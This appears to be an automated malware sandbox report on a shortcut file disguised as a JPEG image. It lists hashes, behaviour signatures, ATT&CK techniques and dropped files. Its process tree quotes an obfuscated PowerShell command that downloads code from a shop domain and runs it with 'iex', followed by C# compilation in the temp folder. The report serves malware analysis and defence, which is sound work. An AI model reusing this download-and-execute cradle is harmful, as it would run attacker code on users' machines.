e4cc04c73e914171c53c1f7011d78b9b67a130a55c512d4933f911137d350b66

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
28/07/2026, 10:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260727_143452.jpg.lnk
Size 1KB
Sample260728-mcaeaathrf
SHA256 e4cc04c73e914171c53c1f7011d78b9b67a130a55c512d4933f911137d350b66
MD5 06b8b1488a000fc54c9ca48b97211725
SHA1 af009fad1e172b0b83eeef6583d179964f89f148
SHA512 ab3bfba4d87265a59e03723bf6a8c3e154b4e790a36cbe23f78ae85aa209260c5070660c960823dfcd921733f2f16fb1cbebcd098bf922e09573457c3f1639e7
TLSH
T10621CE211BB20379D6BB8B7558B6631187267A1ADA458FDF139082949964220F4B8F2B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	4828	powershell.exe
6	4828	powershell.exe
27	4828	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4112	cmd.exe

Suspicious behavior: EnumeratesProcesses 32 IoCs

pid	Process
4828	powershell.exe
4828	powershell.exe
4828	powershell.exe
4828	powershell.exe
4828	powershell.exe
4828	powershell.exe
4828	powershell.exe
4828	powershell.exe
4828	powershell.exe
4828	powershell.exe
4828	powershell.exe
4828	powershell.exe
4828	powershell.exe
4828	powershell.exe
4828	powershell.exe
4828	powershell.exe
4828	powershell.exe
4828	powershell.exe
4828	powershell.exe
4828	powershell.exe
4828	powershell.exe
4828	powershell.exe
4828	powershell.exe
4828	powershell.exe
4828	powershell.exe
4828	powershell.exe
4828	powershell.exe
4828	powershell.exe
4828	powershell.exe
4828	powershell.exe
4828	powershell.exe
4828	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4828	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4112 wrote to memory of 4828	4112	cmd.exe	84
PID 4828 wrote to memory of 2800	4828	powershell.exe	86
PID 2800 wrote to memory of 4292	2800	csc.exe	87

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260727_143452.jpg.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('toinst','aynow.shop','reservpho')[2,0,1] -join $rpDYw9) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4828
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xmrekcs1\xmrekcs1.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2800
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9296.tmp" "c:\Users\Admin\AppData\Local\Temp\xmrekcs1\CSC32BB4560FD6341DFB4657957EAFFB6ED.TMP"
      4⤵
      PID:4292

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES9296.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES9296.tmp
Size 1KB
SHA256 301d6e80760ec4b60fa8ecc59413cedc3e8bc98da3692898ae87b0f16c176246
MD5 216b7fee91bb0001e8a0fc64e8c9f124
SHA1 d7c8785ef30ff15aee74efd06d7b42c7ffbb23da
SHA512 4f19cc6a25cd7f0d74c474424872fd5361a47b3ae3742e06e32e7522beb20ebe09b8219eb2511913d8ae6e028ceac8adc64fee2ed1c9a88a6e45208cf5393a1b
TLSH
T18921890543ED4B1FF0775B3269F6032FA274FD68EFA2975A854082281C52544EEE1F72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_yp0zbn01.l4f.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yp0zbn01.l4f.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

xmrekcs1.dll

Path C:\Users\Admin\AppData\Local\Temp\xmrekcs1\xmrekcs1.dll
Size 3KB
SHA256 47ce751dff0687bf200147b5b2144d4c8aaaf17dcdc027ecb6993833c9f2a631
MD5 fe1de8b37e449fee0618d8643d016ff7
SHA1 a4e5898ab5d58f232668403e0b3134447ee62408
SHA512 05a08b82f9059fe4f1d49d77020285fe44e75df2121bdbbc4cea4237c24be080bf9b27acce45764e65a33dd142972fc3cfae9c5ca1f4ae0efd224f966d2da39d
TLSH
T15051CA1A97EC466BE4770734AFF3035737B4F8108FB2676D19800228AC62B545E31BB1
MD5 SHA1 SHA512 TLSH

Submit Download

CSC32BB4560FD6341DFB4657957EAFFB6ED.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\xmrekcs1\CSC32BB4560FD6341DFB4657957EAFFB6ED.TMP
Size 652B
SHA256 2f219bd4e3ce446a5bed26778671fdfe7ee98304828fb473fa03ef95bd1a3787
MD5 cfcfb63af572d749579e159c5f7adb54
SHA1 90c475dc5431d82898f671e08c19cdf38fff4ea9
SHA512 dee2af19deee9372af490c4dcada04305afdb6d6648e276d8ab9656b926be31fe2dcd753468a08fab9accc5adf29b104d1c4fa6c79cb051105e8501ec39d33af
TLSH
T1ADF05E0963FC124EF4F34F30BDF64367A5A9BC64DEB293ED1450431928659108972FB6
MD5 SHA1 SHA512 TLSH

Submit Download

xmrekcs1.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\xmrekcs1\xmrekcs1.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

xmrekcs1.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\xmrekcs1\xmrekcs1.cmdline
Size 369B
SHA256 ec59c34111bf4169138b974e74ba21b03a400f51a6995ecbc8b81d570f6327f7
MD5 6a2009ffa93808f7d4b8370696a1f247
SHA1 5c410723bd9aace849a4becf2144aad4ebf41190
SHA512 7ba7c4aeb7265f8a21408b9ab55469a84fa959c4374c3eb5ccab624eafbe7499f710296c7f68f32577f9a8c45e1514fd4a26e7364cc11246ff91b705f47fae7c
TLSH
T186E0202E5256C6FD25EE10072269D7ACC37207476D4D7F885190496DD21700477D1796
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4828-2-0x00000281D1ED0000-0x00000281D1EE0000-memory.dmp

Download

memory/4828-4-0x00000281D1EA0000-0x00000281D1EC2000-memory.dmp

Download

memory/4828-3-0x00000281D1ED0000-0x00000281D1EE0000-memory.dmp

Download

memory/4828-24-0x00000281D2C10000-0x00000281D2C18000-memory.dmp

Download

memory/4828-25-0x00000281D1ED0000-0x00000281D1EE0000-memory.dmp

Download

memory/4828-27-0x00000281D1ED0000-0x00000281D1EE0000-memory.dmp

Download

memory/4828-26-0x00000281D1ED0000-0x00000281D1EE0000-memory.dmp

Download

memory/4828-28-0x00000281D1ED0000-0x00000281D1EE0000-memory.dmp

Download